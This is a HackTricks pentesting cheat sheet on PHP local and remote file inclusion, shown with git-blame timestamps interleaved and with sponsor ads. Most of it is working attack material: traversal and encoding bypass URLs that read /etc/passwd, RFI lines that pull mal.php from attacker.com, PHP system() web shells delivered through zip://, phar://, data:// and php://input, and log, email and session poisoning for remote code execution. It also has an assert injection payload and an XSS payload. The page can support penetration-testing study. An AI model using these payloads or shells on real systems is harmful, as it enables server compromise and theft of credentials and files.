2022-06-19 19:09:48 +00:00
# File Inclusion/Path traversal
2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-10-27 14:46:56 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
< figure > < img src = "../../.gitbook/assets/image.png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone** ](https://hackenproof.com/jungle/jungle-smart-contract ) is worth $1.000.000!\
Check out the [**top-paying bounties** ](https://hackenproof.com/programs ) among crypto projects.\
2022-11-05 09:07:43 +00:00
[**Sign up on HackenProof** ](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA ) to get rewarded without delays and become the web3 hacker legend.
2022-04-28 16:01:33 +00:00
2022-11-05 09:07:43 +00:00
{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}
2022-04-28 16:01:33 +00:00
2022-06-19 19:09:48 +00:00
## File Inclusion
2020-07-15 15:43:14 +00:00
2022-03-27 21:55:26 +00:00
**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow\_url\_include**).\
2021-10-18 11:21:18 +00:00
**Local File Inclusion (LFI):** The sever loads a local file.
2020-07-15 15:43:14 +00:00
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
2022-03-27 21:55:26 +00:00
Vulnerable **PHP functions** : require, require\_once, include, include\_once
2020-07-15 15:43:14 +00:00
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap ](https://github.com/kurobeats/fimap )
2022-06-19 19:09:48 +00:00
## Blind - Interesting - LFI2RCE files
2020-07-15 15:43:14 +00:00
2020-12-27 12:39:54 +00:00
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
2022-06-19 19:09:48 +00:00
### **Linux**
2020-07-15 15:43:14 +00:00
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
Try also to change `/` for `\` \
2021-06-27 20:19:16 +00:00
Try also to add `../../../../../`
2021-10-18 11:21:18 +00:00
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt )
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### **Windows**
2020-07-15 15:43:14 +00:00
2021-06-27 21:56:13 +00:00
Merging several lists I have created:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Try also to change `/` for `\` \
2021-06-27 20:19:16 +00:00
Try also to remove `C:/` and add `../../../../../`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt )
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### **OS X**
2020-07-15 15:43:14 +00:00
Check the LFI list of linux.
2022-06-19 19:09:48 +00:00
## Basic LFI and bypasses
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=../../../etc/passwd
```
2022-06-19 19:09:48 +00:00
### traversal sequences stripped non-recursively
2020-07-15 15:43:14 +00:00
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
2022-06-19 19:09:48 +00:00
### **Null byte (%00)**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=../../../etc/passwd%00
```
This is **solved since PHP 5.4**
2022-06-19 19:09:48 +00:00
### **Encoding**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
You could use non-standard encondings like double URL encode (and others):
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
2022-06-19 19:09:48 +00:00
### From existent folder
2020-07-15 15:43:14 +00:00
Maybe the back-end is checking the folder path:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
2022-06-19 19:09:48 +00:00
### **Path truncation**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Bypass the append of more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
2021-10-18 11:21:18 +00:00
Always try to **start** the path **with a fake directory** (a/).
2020-07-15 15:43:14 +00:00
**This vulnerability was corrected in PHP 5.3.**
2022-06-19 19:09:48 +00:00
### **Filter bypass tricks**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```
2022-06-19 19:09:48 +00:00
## Basic RFI
2020-07-15 15:43:14 +00:00
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
2022-06-19 19:09:48 +00:00
## Top 25 parameters
2020-07-29 09:22:22 +00:00
2021-10-18 11:21:18 +00:00
Here’ s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link ](https://twitter.com/trbughunters/status/1279768631845494787 )):
2020-07-29 09:22:22 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-29 09:22:22 +00:00
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
2022-06-19 19:09:48 +00:00
## LFI / RFI using PHP wrappers & protocols
### php://filter
2022-10-27 14:46:56 +00:00
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
2022-06-19 19:09:48 +00:00
2022-10-27 14:46:56 +00:00
* [String Filters ](https://www.php.net/manual/en/filters.string.php ):
2022-06-19 19:09:48 +00:00
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags` : Remove tags from the data (everything between "< " and ">" chars)
* Note that this filter has disappear from the modern versions of PHP
* [Conversion Filters ](https://www.php.net/manual/en/filters.convert.php )
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
2022-06-20 00:29:51 +00:00
* `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.< input_enc > .< output_enc > `) . To get the **list of all the encodings** supported run in the console: `iconv -l`
2022-06-20 07:40:16 +00:00
{% hint style="warning" %}
Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text** , which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters** ](lfi2rce-via-php-filters.md ).
{% endhint %}
2022-06-19 19:09:48 +00:00
* [Compression Filters ](https://www.php.net/manual/en/filters.compression.php )
* `zlib.deflate` : Compress the content (useful if exfiltrating a lot of info)
* `zlib.inflate` : Decompress the data
* [Encryption Filters ](https://www.php.net/manual/en/filters.encryption.php )
* `mcrypt.*` : Deprecated
* `mdecrypt.*` : Deprecated
2022-06-20 08:39:52 +00:00
* Other Filters
* Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters** :
* `consumed`
* `dechunk` : reverses HTTP chunked encoding
* `convert.*`
2022-06-19 19:09:48 +00:00
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,< b > Bold< / b > <?php php code; ?> lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
```
{% hint style="warning" %}
2020-07-15 15:43:14 +00:00
The part "php://filter" is case insensitive
2022-06-19 19:09:48 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### php://fd
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
2020-07-15 15:43:14 +00:00
```
2022-06-19 19:09:48 +00:00
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### zip:// and rar://
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
Upload a Zip or Rar file with a PHPShell inside and access it.\
In order to be able to abuse the rar protocol it **need to be specifically activated** .
2020-07-15 15:43:14 +00:00
```bash
echo "< pre > <?php system($_GET['cmd']); ?> < / pre > " > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
2022-06-19 19:09:48 +00:00
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
2020-07-15 15:43:14 +00:00
```
2022-06-19 19:09:48 +00:00
### data://
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
2020-12-27 12:55:25 +00:00
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
2020-07-15 15:43:14 +00:00
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
2022-06-13 10:17:45 +00:00
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
2020-07-15 15:43:14 +00:00
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?> "
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
2021-05-04 22:57:00 +00:00
Note that this protocol is restricted by php configurations ** `allow_url_open` ** and ** `allow_url_include` **
2022-06-19 19:09:48 +00:00
### expect://
2020-07-15 15:43:14 +00:00
Expect has to be activated. You can execute code using this.
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
2022-06-19 19:09:48 +00:00
### input://
2020-07-15 15:43:14 +00:00
Specify your payload in the POST parameters
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=php://input
2020-12-27 12:40:59 +00:00
POST DATA: <?php system('id'); ?>
2020-07-15 15:43:14 +00:00
```
2022-06-19 19:09:48 +00:00
### phar://
2020-07-15 15:43:14 +00:00
2021-03-19 23:08:07 +00:00
A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file.
2021-10-18 11:21:18 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```python
< ?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?> ');
$phar->stopBuffering();
```
{% endcode %}
And you can compile the `phar` executing the following line:
```bash
php --define phar.readonly=0 create_path.php
```
2021-04-30 12:16:33 +00:00
A file called `test.phar` will be generated that you can use to abuse the LFI.
2020-07-15 15:43:14 +00:00
2022-03-27 21:55:26 +00:00
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
2021-03-19 23:11:18 +00:00
For more information read the following post:
2021-10-18 11:21:18 +00:00
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md ](phar-deserialization.md )
{% endcontent-ref %}
2021-03-19 23:11:18 +00:00
2022-06-19 19:09:48 +00:00
### More protocols
2021-05-04 22:57:00 +00:00
2022-06-19 19:09:48 +00:00
Check more possible[ **protocols to include here** ](https://www.php.net/manual/en/wrappers.php)**:**
2021-05-04 22:57:00 +00:00
2022-10-27 14:46:56 +00:00
* [php://memory and php://temp ](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory ) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
2022-06-19 19:09:48 +00:00
* [file:// ](https://www.php.net/manual/en/wrappers.file.php ) — Accessing local filesystem
* [http:// ](https://www.php.net/manual/en/wrappers.http.php ) — Accessing HTTP(s) URLs
* [ftp:// ](https://www.php.net/manual/en/wrappers.ftp.php ) — Accessing FTP(s) URLs
* [zlib:// ](https://www.php.net/manual/en/wrappers.compression.php ) — Compression Streams
* [glob:// ](https://www.php.net/manual/en/wrappers.glob.php ) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
* [ssh2:// ](https://www.php.net/manual/en/wrappers.ssh2.php ) — Secure Shell 2
* [ogg:// ](https://www.php.net/manual/en/wrappers.audio.php ) — Audio streams (Not useful to read arbitrary files)
## LFI via PHP's 'assert'
2021-04-26 17:03:18 +00:00
If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
A payload like this:
2021-04-30 12:16:33 +00:00
2021-10-18 11:21:18 +00:00
```
2021-04-26 17:03:18 +00:00
' and die(show_source('/etc/passwd')) or '
```
2021-04-30 12:16:33 +00:00
2021-04-26 17:03:18 +00:00
will successfully exploit PHP code for a "file" parameter that looks like this:
2021-04-30 12:16:33 +00:00
2021-10-18 11:21:18 +00:00
```
2021-04-26 17:03:18 +00:00
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
```
2021-04-30 12:16:33 +00:00
2021-10-18 11:21:18 +00:00
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
2021-04-30 12:16:33 +00:00
2021-10-18 11:21:18 +00:00
```
2021-04-26 17:03:18 +00:00
' and die(system("whoami")) or '
```
2021-04-30 12:16:33 +00:00
2021-04-26 17:03:18 +00:00
Be sure to URL-encode payloads before you send them.
2022-10-27 14:46:56 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-27 23:22:18 +00:00
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone** ](https://hackenproof.com/jungle/jungle-smart-contract ) is worth $1.000.000!\
2022-11-05 09:07:43 +00:00
Check out the [**top-paying bounties** ](https://hackenproof.com/programs ) among crypto projects. [**Sign up on HackenProof** ](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA ) to get rewarded without delays and become the web3 hacker legend.
2022-10-27 14:46:56 +00:00
2022-11-05 09:07:43 +00:00
{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}
2022-10-27 14:46:56 +00:00
2022-06-19 19:09:48 +00:00
## LFI2RCE
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### Basic RFI
2020-12-27 12:29:29 +00:00
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
2022-06-19 19:09:48 +00:00
### Via Apache log file
2020-07-15 15:43:14 +00:00
If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_ , set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.
Note that **if you use double quotes** for the shell instead of **simple quotes** , the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed** .
2021-10-18 11:21:18 +00:00
This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
2021-05-02 18:07:06 +00:00
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
2020-07-15 15:43:14 +00:00
2021-09-25 16:33:43 +00:00
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI ](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI )
2021-09-12 06:39:48 +00:00
2022-06-19 19:09:48 +00:00
### Via Email
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Send a mail to a internal account (user@localhost) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER\&cmd=whoami**_
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### Via /proc/\*/fd/\*
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD ](http://example.com/index.php?page=/proc/$PID/fd/$FD ), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### Via /proc/self/environ
2020-07-15 15:43:14 +00:00
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
2022-06-19 19:09:48 +00:00
### Via upload
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
2022-06-19 19:09:48 +00:00
### Via Zip fie upload
2020-07-15 15:43:14 +00:00
Upload a ZIP file containing a PHP shell compressed and access:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
2022-06-19 19:09:48 +00:00
### Via PHP sessions
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Check if the website use PHP Session (PHPSESSID)
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
2021-10-18 11:21:18 +00:00
In PHP these sessions are stored into _/var/lib/php5/sess\\_ \[PHPSESSID]\_ files
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
login=1& user=<?php system("cat /etc/passwd");?> & pass=password& lang=en_us.php
```
Use the LFI to include the PHP session file
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
login=1& user=admin& pass=password& lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
2022-06-19 19:09:48 +00:00
### Via ssh
2020-07-15 15:43:14 +00:00
2022-03-27 21:55:26 +00:00
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access ** \<HOME>/.ssh/id\_rsa**
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### **Via** **vsftpd** _**logs**_
2020-12-23 09:40:41 +00:00
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
2022-06-20 00:29:51 +00:00
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d )explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md ](lfi2rce-via-php-filters.md )
{% endcontent-ref %}
2022-06-19 19:09:48 +00:00
### Via Nginx temp file storage
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md ](lfi2rce-via-nginx-temp-files.md )
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2022-06-19 19:09:48 +00:00
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off` . If you provide the ** `PHP_SESSION_UPLOAD_PROGRESS` ** in **multipart POST** data, PHP will **enable the session for you** . You could abuse this to get RCE:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md ](via-php\_session\_upload\_progress.md )
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2022-06-19 19:09:48 +00:00
### Via temp file uploads in Windows
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md ](lfi2rce-via-temp-file-uploads.md )
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2022-06-19 19:09:48 +00:00
### Via phpinfo() (file\_uploads = on)
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md ](lfi2rce-via-phpinfo.md )
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
2022-06-19 19:09:48 +00:00
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks** , you can try to **bypass that check** with this **Race Condition** :
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md ](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md )
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2022-06-19 19:09:48 +00:00
### References
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
[PayloadsAllTheThings ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal )\
2021-04-30 12:16:33 +00:00
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders )
2020-07-15 15:43:14 +00:00
2022-10-27 14:46:56 +00:00
{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone** ](https://hackenproof.com/jungle/jungle-smart-contract ) is worth $1.000.000!\
Check out the [**top-paying bounties** ](https://hackenproof.com/programs ) among crypto projects. \
2022-11-05 09:07:43 +00:00
[**Sign up on HackenProof** ](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA ) to get rewarded without delays and become the web3 hacker legend.
